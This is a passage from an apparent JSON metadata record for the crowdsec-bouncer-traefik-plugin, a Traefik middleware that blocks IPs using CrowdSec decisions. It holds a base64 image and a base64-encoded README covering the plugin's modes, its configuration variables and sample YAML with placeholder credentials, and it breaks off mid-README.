uEj36o9pNaJAdNyHoeOIfkvcgAt4fD4UtVNVHAEsmegGWAqVnzai3JAlYRuXymJ2d59EO1F1hMKpfmwVj7PW60WucMnpD1d+Aikh/7Z4DfJQYuFVHAEsmCgAWQNd+cAzHvCYtJNlL2zXPmvzStR8LVvNpDjbW3p/GQ6RVTa/8ZfnjhAVo0B03Iegi4iuSXQQoAfwyHw6eraqKAJZIdAeuibNlN+OIFx71vsL9J0qzAN85jRz9UO7s786qorvmECdgFwJA0H/qhgO8tqnio5oyeeM3hxxYWVMyvOa/ioZp5FdU1T1RWv/x19ZL1u5B1L/ClFJqGgIfD4fBJqpooYIn0b6tTaDMKuCNbQpZj/f8BWpM0O8hY+1JFdc1XEhdoTj3Q3LUwdPRDtT8AHgG6dDyXwQ7H8nhFdc2yiuqa/654qGZSOo+ffv+iwsr5L59fUV1THWyNbcFQjeV84HSL+VHF1NpfatHvdyHrNuCGFJrmA4+Fw+EKVU0GOo2mK1krHA4HgTXA6BSa/xW4EVjSU9dKmzVr1nPGmBM7adLmum5eT7/uiodqLsbyQEorAGuXWmP+aK2Z98rcig4D6Zz5L02zxlzu41xssJ2dfekb7HVYPmuNOSKNNdFyY+06H2ejwW4ENmJoMb7NtcbkAsXAZOBw4BA6v45qa0tL/rDFl85oysAyNYXEhas7cZvrutdlYN41QGfBY5PruqO6OO15wPnJwo/ruq3dfA0/Bb6cQtM64CTXdRdrTSYDlS72LNn8rTkWDofvTgSnZD6e+GkOh8NLiB+YW5T4yQVWAb92XXdef3/dtedVPljxUM1ULN9I1jYRgn5ojP1hxfyaRRjeN8bWWWvqE70JQ4DxPkyP56BOD6WJGGMvqTlvzvxj//TCw7Fg8HlgQkpP2nKoxRy61/QtWNOl74ChIXnb9eWxf34mvxIOh0uIj+bemXLgz+FweLrrus2qnAxE2kUo2e4uUhv0cJeCRC/BMcRDxQRgDHAC8KdwOHzqQHjRtUsrvo3htrQeZJgBnG6tuRC4Brgc+ESiDsk0+Dhn1Jw3Zz7EjwcLON6HMEnHIsuEPz039+TGLFyWbTfv7+5jbQ+9jquB/0uh3USS96qJKGCJ9NE35o1AT+6uuTrlvGJMso18Q8Ze+I3Grz2v8jrgAsjgNQjjNhvHnrSg6uin29/40rnHriHCURYzv7cCiMHe12iLr8jgPLb2UJsu1TnJ/RsyOO0druu29dBn0gcuAR5Pofl4rcVEAUuk/4ase4H7emhyZ6RxQPySJPe/lunXXltVOQ/DzETIsT08+Shwb8Dxjq45d86r+53/hZWbXqmqON8Y+3FgZeaiFS861q+sqZrz6WVzp0YyuCxtBTZ2833vqqVJ7l+YwWkv7uE6RoHzgH/3US1FFLBEesjlwM09MJ3XXddN6aLJgUDgbmBHR+HE9/0f9MYLrz2vcsUrVRXne4HAdGAe0N1jWpqA/8VhQm1V5WdeOvfYNckeUHPenMdqqyonOfjHAnfQc7087xhjz6+dW3ncy3OPeaWXlqXOLlJcQ2o9M11xO/GDv/enPsnzSuaPxI8z7ChIfz0DYbUVOAtY0ElgfFSrLhmodCCoDCrhcPh44BagsgsPbwGucF33T6k+YNasWccbY+4kfvbb7lAAfMF13cf7ogYn3ftsXktx/oeMtWdZzDHEz8or6OQhrVheMca+YKx93sn1X3zxE8d1a/dm+K6FoZzyyCkWE7bGTAEOI36WYFGSh74NvIjhRc8PvLhw7lFv98EyZIBvAN/a5/k+Anzedd33Mzjv44C7E/XaZSlwpeu6td2c9lTgN/t8NtYC/+W67hMZfE0lwP3Ej/fb5d/ARa7rrtdaSxSwRAZW0DoSmEb8AO5piZ/2wznEEoGqGVhOfHfeL1zXXZXuvKqqqgLvvvvuFM/zJhhj3i0uLn7zueeei/WnesyZ/9IY4BCPQJE1pjVIrMU6ppUoLQ1OyapM7nbbzVpz1LwFY4OB2AGeE/ADeJ7nBHwfxwtGYp6f42x+5ZyKbf1oGSpOLDclwDLXddf10nwDiYA1nvhYb2+m2quaYng8FJgErAfe6Kljr1KY7+HAlMQXkEWJY7VERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERETk/7cHBwQAAAAAQv6/bkgAAAAAAAAAAAAAYCF0bEkh90PvtAAAAABJRU5ErkJggg==", "url": "https://github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin", "description": "Traefik plugin to apply crowdsec decisions from local API", "stars": 41, "downloads": 0, "readme_content": "IVtHaXRIdWJdKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vZ2l0aHViL2xpY2Vuc2UvbWF4bGVyZWJvdXJnL2Nyb3dkc2VjLWJvdW5jZXItdHJhZWZpay1wbHVnaW4pCiFbR2l0SHViIGdvLm1vZCBHbyB2ZXJzaW9uXShodHRwczovL2ltZy5zaGllbGRzLmlvL2dpdGh1Yi9nby1tb2QvZ28tdmVyc2lvbi9tYXhsZXJlYm91cmcvY3Jvd2RzZWMtYm91bmNlci10cmFlZmlrLXBsdWdpbikKIVtHaXRIdWIgdGFnIChsYXRlc3QgU2VtVmVyKV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9naXRodWIvdi90YWcvbWF4bGVyZWJvdXJnL2Nyb3dkc2VjLWJvdW5jZXItdHJhZWZpay1wbHVnaW4pClshW0J1aWxkIFN0YXR1c10oaHR0cHM6Ly9naXRodWIuY29tL21heGxlcmVib3VyZy9jcm93ZHNlYy1ib3VuY2VyLXRyYWVmaWstcGx1Z2luL2FjdGlvbnMvd29ya2Zsb3dzL2dvLWNyb3NzLnltbC9iYWRnZS5zdmcpXShodHRwczovL2dpdGh1Yi5jb20vbWF4bGVyZWJvdXJnL2Nyb3dkc2VjLWJvdW5jZXItdHJhZWZpay1wbHVnaW4vYWN0aW9ucykKWyFbR28gUmVwb3J0IENhcmRdKGh0dHBzOi8vZ29yZXBvcnRjYXJkLmNvbS9iYWRnZS9naXRodWIuY29tL21heGxlcmVib3VyZy9jcm93ZHNlYy1ib3VuY2VyLXRyYWVmaWstcGx1Z2luKV0oaHR0cHM6Ly9nb3JlcG9ydGNhcmQuY29tL2JhZGdlL2dpdGh1Yi5jb20vbWF4bGVyZWJvdXJnL2Nyb3dkc2VjLWJvdW5jZXItdHJhZWZpay1wbHVnaW4pCgojIENyb3dkc2VjIEJvdW5jZXIgVHJhZWZpayBwbHVnaW4KClRoaXMgcGx1Z2luIGFpbXMgdG8gaW1wbGVtZW50IGEgQ3Jvd2RzZWMgQm91bmNlciBpbiBhIFRyYWVmaWsgcGx1Z2luLgoKPiBbQ3Jvd2RTZWNdKGh0dHBzOi8vd3d3LmNyb3dkc2VjLm5ldC8pIGlzIGFuIG9wZW4tc291cmNlIGFuZCBjb2xsYWJvcmF0aXZlIElQUyAoSW50cnVzaW9uIFByZXZlbnRpb24gU3lzdGVtKSBhbmQgYSBzZWN1cml0eSBzdWl0ZS4KPiBXZSBsZXZlcmFnZSBsb2NhbCBiZWhhdmlvciBhbmFseXNpcyBhbmQgY3Jvd2QgcG93ZXIgdG8gYnVpbGQgdGhlIGxhcmdlc3QgQ1RJIG5ldHdvcmsgaW4gdGhlIHdvcmxkLgoKVGhlIHB1cnBvc2UgaXMgdG8gZW5hYmxlIFRyYWVmaWsgdG8gYXV0aG9yaXplIG9yIGJsb2NrIHJlcXVlc3RzIGZyb20gSVBzIGJhc2VkIG9uIHRoZWlyIHJlcHV0YXRpb24gYW5kIGJlaGF2aW9yLgoKVGhlIENyb3dkc2VjIHV0aWxpdHkgd2lsbCBwcm92aWRlIHRoZSBjb21tdW5pdHkgYmxvY2tsaXN0IHdoaWNoIGNvbnRhaW5zIGhpZ2hseSByZXBvcnRlZCBhbmQgdmFsaWRhdGVkIElQcyBiYW5uZWQgZnJvbSB0aGUgQ3Jvd2RzZWMgbmV0d29yay4KCldoZW4gdXNlZCB3aXRoIENyb3dkc2VjIGl0IHdpbGwgbGV2ZXJhZ2UgdGhlIGxvY2FsIEFQSSB3aGljaCB3aWxsIGFuYWx5emUgVHJhZWZpayBsb2dzIGFuZCB0YWtlIGRlY2lzaW9ucyBvbiB0aGUgcmVxdWVzdHMgbWFkZSBieSB1c2Vycy9ib3RzLiBNYWxpY2lvdXMgYWN0b3JzIHdpbGwgYmUgYmFubmVkIGJhc2VkIG9uIHBhdHRlcm5zIHVzZWQgYWdhaW5zdCB5b3VyIHdlYnNpdGUuCgpUaGVyZSBhcmUgNCBvcGVyYXRpbmcgbW9kZXMgKENyb3dkc2VjTW9kZSkgZm9yIHRoaXMgcGx1Z2luOgoKfCBNb2RlIHwgRGVzY3JpcHRpb24gfAp8LS0tLS0tfC0tLS0tLXwKfCBub25lIHwgSWYgdGhlIGNsaWVudCBJUCBpcyBvbiBiYW4gbGlzdCwgaXQgd2lsbCBnZXQgYSBodHRwIGNvZGUgNDAzIHJlc3BvbnNlLiBPdGhlcndpc2UsIHJlcXVlc3Qgd2lsbCBjb250aW51ZSBhcyB1c3VhbC4gQWxsIHJlcXVlc3QgY2FsbCB0aGUgQ3Jvd2RzZWMgTEFQSSB8CnwgbGl2ZSB8IElmIHRoZSBjbGllbnQgSVAgaXMgb24gYmFuIGxpc3QsIGl0IHdpbGwgZ2V0IGEgaHR0cCBjb2RlIDQwMyByZXNwb25zZS4gT3RoZXJ3aXNlLCByZXF1ZXN0IHdpbGwgY29udGludWUgYXMgdXN1YWwuICAgIFRoZSBib3VuY2VyIGNhbiBsZXZlcmFnZSB1c2Ugb2YgYSBsb2NhbCBjYWNoZSBpbiBvcmRlciB0byByZWR1Y2UgdGhlIG51bWJlciBvZiByZXF1ZXN0cyBtYWRlIHRvIHRoZSBDcm93ZHNlYyBMQVBJLiBJdCB3aWxsIGtlZXAgaW4gY2FjaGUgdGhlIHN0YXR1cyBmb3IgIGVhY2ggSVAgdGhhdCBtYWtlcyBxdWVyaWVzLiB8Cnwgc3RyZWFtIHwgU3RyZWFtIFN0cmVhbWluZyBtb2RlIGFsbG93cyB5b3UgdG8ga2VlcCBpbiB0aGUgbG9jYWwgY2FjaGUgb25seSB0aGUgQmFubmVkIElQcywgZXZlcnkgcmVxdWVzdHMgdGhhdCBkb2VzIG5vdCBoaXQgdGhlIGNhY2hlIGlzIGF1dGhvcml6ZWQuIEV2ZXJ5IG1pbnV0ZSwgdGhlIGNhY2hlIGlzIHVwZGF0ZWQgd2l0aCBuZXdzIGZyb20gdGhlIENyb3dkc2VjIExBUEkuIHwKfCBhbG9uZSB8IFN0YW5kYWxvbmUgbW9kZSwgc2ltaWxhciB0byB0aGUgc3RyZWFtaW5nIG1vZGUgYnV0IHRoZSBibGFja2xpc3RlZCBJUHMgYXJlIGZldGNoZWQgb24gdGhlIENBUEkuIEV2ZXJ5IDIgaG91cnMsIHRoZSBjYWNoZSBpcyB1cGRhdGVkIHdpdGggbmV3cyBmcm9tIHRoZSBDcm93ZHNlYyBDQVBJLiBJdCBkb2VzIG5vdCBpbmNsdWRlIGFueSBsb2NhbHkgYmFubmVkIElQLCBidXQgY2FuIHdvcmsgd2l0aG91dCBhIGNyb3dkc2VjIHNlcnZpY2UuIHwKClRoZSBgc3RyZWFtaW5nIG1vZGVgIGlzIHJlY29tbWVuZGVkIGZvciBwZXJmb3JtYW5jZSwgZGVjaXNpb25zIGFyZSB1cGRhdGVkIGV2ZXJ5IDYwIHNlYyBieSBkZWZhdWx0IGFuZCB0aGF0J3MgdGhlIG9ubHkgY29tbXVuaWNhdGlvbiBiZXR3ZWVuIFRyYWVmaWsgYW5kIENyb3dkc2VjLiBFdmVyeSByZXF1ZXN0IHRoYXQgaGFwcGVucyBoaXRzIHRoZSBjYWNoZSBmb3IgcXVpY2sgZGVjaXNpb25zLgoKVGhlIGNhY2hlIGNhbiBiZSBsb2NhbCB0byBUcmFlZmlrIHVzaW5nIHRoZSBmaWxlc3lzdGVtLCBvciBhIHNlcGFyYXRlIFJlZGlzIGluc3RhbmNlLiAgClN1cHBvcnQgZm9yIFJlZGlzIGlzIGN1cnJlbnRseSBpbiBiZXRhIChyZXF1aXJlcyB2ZXJzaW9uIDcuMC5YIG9mIFJlZGlzKS4KCiMjIFVzYWdlCgpUbyBnZXQgc3RhcnRlZCwgdXNlIHRoZSBgZG9ja2VyLWNvbXBvc2UueW1sYCBmaWxlLgoKWW91IGNhbiBydW4gaXQgd2l0aDoKYGBgYmFzaAptYWtlIHJ1bgpgYGAKCiMjIyBOb3RlCgoqKi8hXCBDYWNoZSBpcyBzaGFyZWQgYnkgYWxsIHNlcnZpY2VzKioKKlRoaXMgbWVhbnMgaWYgYW4gSVAgaXMgYmFubmVkLCBhbGwgc2VydmljZXMgd2hpY2ggYXJlIHByb3RlY3RlZCBieSBhbiBpbnN0YW5jZSBvZiB0aGUgcGx1Z2luIHdpbGwgZGVueSByZXF1ZXN0cyBmcm9tIHRoYXQgSVAqCgojIyMgVmFyaWFibGVzCi0gRW5hYmxlZAogIC0gYm9vbAogIC0gZGVmYXVsdDogZmFsc2UKICAtIGVuYWJsZSB0aGUgcGx1Z2luCi0gTG9nTGV2ZWwKICAtIHN0cmluZwogIC0gZGVmYXVsdDogYElORk9gLCBleHBlY3RlZCB2YWx1ZXMgYXJlOiBgSU5GT2AsIGBERUJVR2AKLSBDcm93ZHNlY01vZGUKICAtIHN0cmluZwogIC0gZGVmYXVsdDogYGxpdmVgLCBleHBlY3RlZCB2YWx1ZXMgYXJlOiBgbm9uZWAsIGBsaXZlYCwgYHN0cmVhbWAsIGBhbG9uZWAKLSBDcm93ZHNlY0xhcGlTY2hlbWUKICAtIHN0cmluZwogIC0gZGVmYXVsdDogYGh0dHBgLCBleHBlY3RlZCB2YWx1ZXMgYXJlOiBgaHR0cGAsIGBodHRwc2AKLSBDcm93ZHNlY0xhcGlIb3N0CiAgLSBzdHJpbmcKICAtIGRlZmF1bHQ6ICJjcm93ZHNlYzo4MDgwIgogIC0gQ3Jvd2RzZWMgTEFQSSBhdmFpbGFibGUgb24gd2hpY2ggaG9zdCBhbmQgcG9ydC4KLSBDcm93ZHNlY0xhcGlLZXkKICAtIHN0cmluZwogIC0gZGVmYXVsdDogIiIKICAtIENyb3dkc2VjIExBUEkga2V5IGZvciB0aGUgYm91bmNlciA6ICoqbXVzdCBiZSB1bmlxdWUgYnkgc2VydmljZSoqLiAKLSBDcm93ZHNlY0xhcGlUbHNJbnNlY3VyZVZlcmlmeQogIC0gYm9vbAogIC0gZGVmYXVsdDogZmFsc2UKICAtIERpc2FibGUgdmVyaWZpY2F0aW9uIG9mIGNlcnRpZmljYXRlIHByZXNlbnRlZCBieSBDcm93ZHNlYyBMQVBJCi0gQ3Jvd2RzZWNMYXBpVGxzQ2VydGlmaWNhdGVBdXRob3JpdHkKICAtIHN0cmluZwogIC0gZGVmYXVsdDogIiIKICAtIFBFTS1lbmNvZGVkIENlcnRpZmljYXRlIEF1dGhvcml0eSBvZiB0aGUgQ3Jvd2RzZWMgTEFQSQotIENyb3dkc2VjTGFwaVRsc0NlcnRpZmljYXRlQm91bmNlcgogIC0gc3RyaW5nCiAgLSBkZWZhdWx0OiAiIgogIC0gUEVNLWVuY29kZWQgY2xpZW50IENlcnRpZmljYXRlIG9mIHRoZSBCb3VuY2VyCi0gQ3Jvd2RzZWNMYXBpVGxzQ2VydGlmaWNhdGVCb3VuY2VyS2V5CiAgLSBzdHJpbmcKICAtIGRlZmF1bHQ6ICIiCiAgLSBQRU0tZW5jb2RlZCBjbGllbnQgcHJpdmF0ZSBrZXkgb2YgdGhlIEJvdW5jZXIKLSBDbGllbnRUcnVzdGVkSVBzCiAgLSBzdHJpbmcgCiAgLSBkZWZhdWx0OiBbXQogIC0gTGlzdCBvZiBjbGllbnQgSVBzIHRvIHRydXN0LCB0aGV5IHdpbGwgYnlwYXNzIGFueSBjaGVjayBmcm9tIHRoZSBib3VuY2VyIG9yIGNhY2hlICh1c2VmdWwgZm9yIExBTiBvciBWUE4gSVApCi0gRm9yd2FyZGVkSGVhZGVyc1RydXN0ZWRJUHMKICAtIFtdc3RyaW5nCiAgLSBkZWZhdWx0OiBbXQogIC0gTGlzdCBvZiBJUHMgb2YgdHJ1c3RlZCBQcm94aWVzIHRoYXQgYXJlIGluIGZyb250IG9mIHRyYWVmaWsgKGV4OiBDbG91ZGZsYXJlKQotIEZvcndhcmRlZEhlYWRlcnNDdXN0b21OYW1lCiAgLSBzdHJpbmcKICAtIGRlZmF1bHQ6ICJYLUZvcndhcmRlZC1Gb3IiCiAgLSBOYW1lIG9mIHRoZSBoZWFkZXIgd2hlcmUgdGhlIHJlYWwgSVAgb2YgdGhlIGNsaWVudCBzaG91bGQgYmUgcmV0cmlldmVkCi0gUmVkaXNDYWNoZUVuYWJsZWQKICAtIGJvb2wKICAtIGRlZmF1bHQ6IGZhbHNlCiAgLSBlbmFibGUgUmVkaXMgY2FjaGUgaW5zdGVhZCBvZiBmaWxlc3lzdGVtIGNhY2hlCi0gUmVkaXNDYWNoZUhvc3QKICAtIHN0cmluZyAKICAtIGRlZmF1bHQ6ICJyZWRpczo2Mzc5IgogIC0gaG9zdG5hbWUgYW5kIHBvcnQgZm9yIHRoZSBSZWRpcyBzZXJ2aWNlCi0gVXBkYXRlSW50ZXJ2YWxTZWNvbmRzCiAgLSBpbnQ2NAogIC0gZGVmYXVsdDogNjAKICAtIFVzZWQgb25seSBpbiBgc3RyZWFtYCBtb2RlLCB0aGUgaW50ZXJ2YWwgYmV0d2VlbiByZXF1ZXN0cyB0byBmZXRjaCBibGFja2xpc3RlZCBJUHMgZnJvbSBMQVBJCi0gRGVmYXVsdERlY2lzaW9uU2Vjb25kcwogIC0gaW50NjQKICAtIGRlZmF1bHQ6IDYwCiAgLSBVc2VkIG9ubHkgaW4gYGxpdmVgIG1vZGUsIG1heGltdW0gZGVjaXNpb24gZHVyYXRpb24KLSBDcm93ZHNlY0NhcGlNYWNoaW5lSWQKICAtIHN0cmluZwogIC0gVXNlZCBvbmx5IGluIGBhbG9uZWAgbW9kZSwgbG9naW4gZm9yIENyb3dkc2VjIENBUEkKLSBDcm93ZHNlY0NhcGlQYXNzd29yZAogIC0gc3RyaW5nCiAgLSBVc2VkIG9ubHkgaW4gYGFsb25lYCBtb2RlLCBwYXNzd29yZCBmb3IgQ3Jvd2RzZWMgQ0FQSQotIENyb3dkc2VjQ2FwaVNjZW5hcmlvcwogIC0gW11zdHJpbmcKICAtIFVzZWQgb25seSBpbiBgYWxvbmVgIG1vZGUsIHNjZW5hcmlvcyBmb3IgQ3Jvd2RzZWMgQ0FQSQoKIyMjIENvbmZpZ3VyYXRpb24KCkZvciBlYWNoIHBsdWdpbiwgdGhlIFRyYWVmaWsgc3RhdGljIGNvbmZpZ3VyYXRpb24gbXVzdCBkZWZpbmUgdGhlIG1vZHVsZSBuYW1lIChhcyBpcyB1c3VhbCBmb3IgR28gcGFja2FnZXMpLgoKVGhlIGZvbGxvd2luZyBkZWNsYXJhdGlvbiAoZ2l2ZW4gaGVyZSBpbiBZQU1MKSBkZWZpbmVzIGEgcGx1Z2luOgoKYGBgeWFtbAojIFN0YXRpYyBjb25maWd1cmF0aW9uCgpleHBlcmltZW50YWw6CiAgcGx1Z2luczoKICAgIGJvdW5jZXI6CiAgICAgIG1vZHVsZU5hbWU6IGdpdGh1Yi5jb20vbWF4bGVyZWJvdXJnL2Nyb3dkc2VjLWJvdW5jZXItdHJhZWZpay1wbHVnaW4KYGBgCgpgYGB5YW1sCiMgRHluYW1pYyBjb25maWd1cmF0aW9uCgpodHRwOgogIHJvdXRlcnM6CiAgICBteS1yb3V0ZXI6CiAgICAgIHJ1bGU6IGhvc3QoYHdob2FtaS5sb2NhbGhvc3RgKQogICAgICBzZXJ2aWNlOiBzZXJ2aWNlLWZvbwogICAgICBlbnRyeVBvaW50czoKICAgICAgICAtIHdlYgogICAgICBtaWRkbGV3YXJlczoKICAgICAgICAtIGNyb3dkc2VjCgogIHNlcnZpY2VzOgogICAgc2VydmljZS1mb286CiAgICAgIGxvYWRCYWxhbmNlcjoKICAgICAgICBzZXJ2ZXJzOgogICAgICAgICAgLSB1cmw6IGh0dHA6Ly8xMjcuMC4wLjE6NTAwMAogIAogIG1pZGRsZXdhcmVzOgogICAgY3Jvd2RzZWM6CiAgICAgIHBsdWdpbjoKICAgICAgICBib3VuY2VyOgogICAgICAgICAgZW5hYmxlZDogZmFsc2UKICAgICAgICAgIGxvZ0xldmVsOiBERUJVRwogICAgICAgICAgdXBkYXRlSW50ZXJ2YWxTZWNvbmRzOiA2MAogICAgICAgICAgZGVmYXVsdERlY2lzaW9uU2Vjb25kczogNjAKICAgICAgICAgIGNyb3dkc2VjTW9kZTogbGl2ZQogICAgICAgICAgY3Jvd2RzZWNMYXBpS2V5OiBwcml2YXRlS2V5LWZvbwogICAgICAgICAgY3Jvd2RzZWNMYXBpS2V5RmlsZTogL2V0Yy90cmFlZmlrL2NzLXByaXZhdGVLZXktZm9vCiAgICAgICAgICBjcm93ZHNlY0xhcGlIb3N0OiBjcm93ZHNlYzo4MDgwCiAgICAgICAgICBjcm93ZHNlY0xhcGlTY2hlbWU6IGh0dHAKICAgICAgICAgIGNyb3dkc2VjTGFwaVRMU0luc2VjdXJlVmVyaWZ5OiBmYWxzZQogICAgICAgICAgY3Jvd2RzZWNDYXBpTWFjaGluZUlkOiBsb2dpbgogICAgICAgICAgY3Jvd2RzZWNDYXBpUGFzc3dvcmQ6IHBhc3N3b3JkCiAgICAgICAgICBjcm93ZHNlY0NhcGlTY2VuYXJpb3M6CiAgICAgICAgICAgIC0gY3Jvd2RzZWN1cml0eS9odHRwLXBhdGgtdHJhdmVyc2FsLXByb2JpbmcKICAgICAgICAgICAgLSBjcm93ZHNlY3VyaXR5L2h0dHAteHNzLXByb2JpbmcKICAgICAgICAgICAgLSBjcm93ZHNlY3VyaXR5L2h0dHAtZ2VuZXJpYy1iZgogICAgICAgICAgZm9yd2FyZGVkSGVhZGVyc1RydXN0ZWRJUHM6IAogICAgICAgICAgICAtIDEwLjAuMTAuMjMvMzIKICAgICAgICAgICAgLSAxMC4wLjIwLjAvMjQKICAgICAgICAgIGNsaWVudFRydXN0ZWRJUHM6IAogICAgICAgICAgICAtIDE5Mi4xNjguMS4wLzI0CiAgICAgICAgICBmb3J3YXJkZWRIZWFkZXJzQ3VzdG9tTmFtZTogWC1DdXN0b20tSGVhZGVyCiAgICAgICAgICByZWRpc0NhY2hlRW5hYmxlZDogZmFsc2UKICAgICAgICAgIHJlZGlzQ2FjaGVIb3N0OiAicmVkaXM6NjM3OSIKICAgICAgICAgIGNyb3dkc2VjTGFwaVRMU0NlcnRpZmljYXRlQXV0aG9yaXR5OiB8LQogICAgICAgICAgICAtLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KICAgICAgICAgICAgTUlJRUJ6Q0NBdStnQXdJQkFnSUNFQUF3RFFZSktvWklodmNOQVFFTEJRQXdnWlF4Q3pBSkJnTlZCQVlUQWxWVAogICAgICAgICAgICAuLi4KICAgICAgICAgICAgUTB2ZWVOekJRWGcxZi9KeGZlQTM5SURJWDFraUNmNzF0R2xUCiAgICAgICAgICAgIC0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KICAgICAgICAgIGNyb3dkc2VjTGFwaVRMU0NlcnRpZmljYXRlQXV0aG9yaXR5RmlsZTogL2V0Yy90cmFlZmlrL2Nyb3dkc2VjLWNlcnRzL2NhLnBlbQogICAgICAgICAgY3Jvd2RzZWNMYXBpVExTQ2VydGlmaWNhdGVCb3VuY2VyOiB8LQogICAgICAgICAgICAtLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KICAgICAgICAgICAgTUlJRUhqQ0NBd2FnQXdJQkFnSVVPQlRzMWVxa2FBVWNQcGx6dFVyMnhSYXB2TkF3RFFZSktvWklodmNOQVFFTAogICAgICAgICAgICAuLi4KICAgICAgICAgICAgUmFYQW5ZWVVWUmJsUzFqbWVQZW1oMzg4aEZ4Ym1ycEcycElUeDhCNUZNVUxxSG9qMTFvMlJsMGdTVjZ0SElIegogICAgICAgICAgICBOMlU9CiAgICAgICAgICAgIC0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KICAgICAgICAgIGNyb3dkc2VjTGFwaVRMU0NlcnRpZmljYXRlQm91bmNlckZpbGU6IC9ldGMvdHJhZWZpay9jcm93ZHNlYy1jZXJ0cy9ib3VuY2VyLnBlbQogICAgICAgICAgY3Jvd2RzZWNMYXBpVExTQ2VydGlmaWNhdGVCb3VuY2VyS2V5OiB8LQogICAgICAgICAgICAtLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tCiAgICAgICAgICAgIE1JSUVvZ0lCQUFLQ0FRRUF0WVFuYkpxaWZIK1p5bWVQeWxEeEdHTEl1eHpjQVVVNC9hak5qK3FSQWRJL1V4M2QKICAgICAgICAgICAgLi4uCiAgICAgICAgICAgIGljNWNEUm82L1ZEM0NTM01ZenlCY2liYUdhVjM0bnIwRy9wSStLRXFrWUNoemsvUFpSQT0KICAgICAgICAgICAgLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0KICAgICAgICAgIGNyb3dkc2VjTGFwaVRMU0NlcnRpZmljYXRlQm91bmNlcktleUZpbGU6IC9ldGMvdHJhZWZpay9jcm93ZHNlYy1jZXJ0cy9ib3VuY2VyLWtleS5wZW0KYGBgCgojIyMjIEZpbGwgdmFyaWFibGUgd2l0aCB2YWx1ZSBvZiBmaWxlCgpgQ3Jvd2RzZWNMYXBpVGxzQ2VydGlmaWNhdGVCb3VuY2VyS2V5YCwgYENyb3dkc2VjTGFwaVRsc0NlcnRpZmljYXRlQm91bmNlcmAsIGBDcm93ZHNlY0xhcGlUbHNDZXJ0aWZpY2F0ZUF1dGhvcml0eWAsIGBDcm93ZHNlY0NhcGlNYWNoaW5lSWRgLCBgQ3Jvd2RzZWNDYXBpUGFzc3dvcmRgIGFuZCBgQ3Jvd2RzZWNMYXBpS2V5YCBjYW4gYmUgcHJvdmlkZWQgd2l0aCB0aGUgY29udGVudCBhcyByYXcgb3IgdGhyb3VnaCBhIGZpbGUgcGF0aCB0aGF0IFRyYWVmaWsgY2FuIHJlYWQuICAKVGhlIGZpbGUgdmFyaWFibGUgd2lsbCBiZSB1c2VkIGFzIHByZWZlcmVuY2UgaWYgYm90aCBjb250ZW50IGFuZCBmaWxlIGFyZSBwcm92aWRlZCBmb3IgdGhlIHNhbWUgdmFyaWFibGUuCgpGb3JtYXQgaXM6ICAKLSBDb250ZW50OiBWYXJpYWJsZU5hbWU6IFhYWAotIEZpbGUgICA6IFZhcmlhYmxlTmFtZUZpbGU6IC9wYXRoCgojIyMjIEF1dGhlbnRpY2F0ZSB3aXRoIExBUEkKCllvdSBjYW4gYXV0aGVudGljYXRlIHRvIHRoZSBMQVBJIGVpdGhlciB3aXRoIExBUElLRVkgb3IgYnkgdXNpbmcgY2xpZW50IGNlcnRpZmljYXRlcy4gIApQbGVhc2Ugc2VlIGJlbG93IGZvciBtb3JlIGRldGFpbHMgb24gZWFjaCBvcHRpb24uCgojIyMjIEdlbmVyYXRlIExBUEkgS0VZCllvdSBjYW4gZ2VuZXJhdGUgYSBjcm93ZHNlYyBBUEkga2V5IGZvciB0aGUgTEFQSS4gIApZb3UgY2FuIGZvbGxvdyB0aGUgZG9jdW1lbnRhdGlvbiBoZXJlOiBbZG9jcy5jcm93ZHNlYy5uZXQvZG9jcy91c2VyX2d1aWRlcy9sYXBpX21nbXRdKGh0dHBzOi8vZG9jcy5jcm93ZHNlYy5uZXQvZG9jcy91c2VyX2d1aWRlcy9sYXBpX21nbXQpCgpgYGBiYXNoCmRvY2tlci1jb21wb3NlIC1mIGRvY2tlci1jb21wb3NlLWxvY2FsLnltbCB1cCAtZCBjcm93ZHNlYwpkb2NrZXIgZXhlYyBjcm93ZHNlYyBjc2NsaSBib3VuY2VycyBhZGQgY3Jvd2RzZWNCb3VuY2VyCmBgYAoKVGhpcyBMQVBJIGtleSBtdXN0IGJlIHNldCB3aGVyZSBpcyBub3RlZCBGSVhNRS1MQVBJLUtFWSBpbiB0aGUgZG9ja2VyLWNvbXBvc2UueW1sCmBgYHlhbWwKLi4uCndob2FtaToKICBsYWJlbHM6CiAgICAtICJ0cmFlZmlrLmh0dHAubWlkZGxld2FyZXMuY3Jvd2RzZWMucGx1Z2luLmJvdW5jZXIuY3Jvd2RzZWNsYXBpa2V5PUZJWE1FLUxBUEktS0VZIgogICAgLSAidHJhZWZpay5odHRwLm1pZGRsZXdhcmVzLmNyb3dkc2VjLnBsdWdpbi5ib3VuY2VyLmNyb3dkc2VjbGFwaXNjaGVtZT1odHRwIgogICAgLSAidHJhZWZpay5odHRwLm1pZGRsZXdhcmVzLmNyb3dkc2VjLnBsdWdpbi5ib3VuY2VyLmNyb3dkc2VjbGFwaWhvc3Q9Y3Jvd2RzZWM6ODA4MCIKLi4uCmNyb3dkc2VjOgogIGVudmlyb25tZW50OgogICAgQk9VTkNFUl9LRVlfVFJBRUZJSzogRklYTUUtTEFQSS1LRVkKLi4uCmBgYAoKTm90ZToKPiBDcm93ZHNlYyBkb2VzIG5vdCByZXF1aXJlIGEgc3BlY2lmaWMgZm9ybWF0IGZvciBsYSBMQVBJLWtleSwgeW91IG1heSB1c2Ugc29tZXRoaW5nIGxpa2UgRklYTUUtTEFQSS1LRVkgYnV0IHRoYXQgaXMgbm9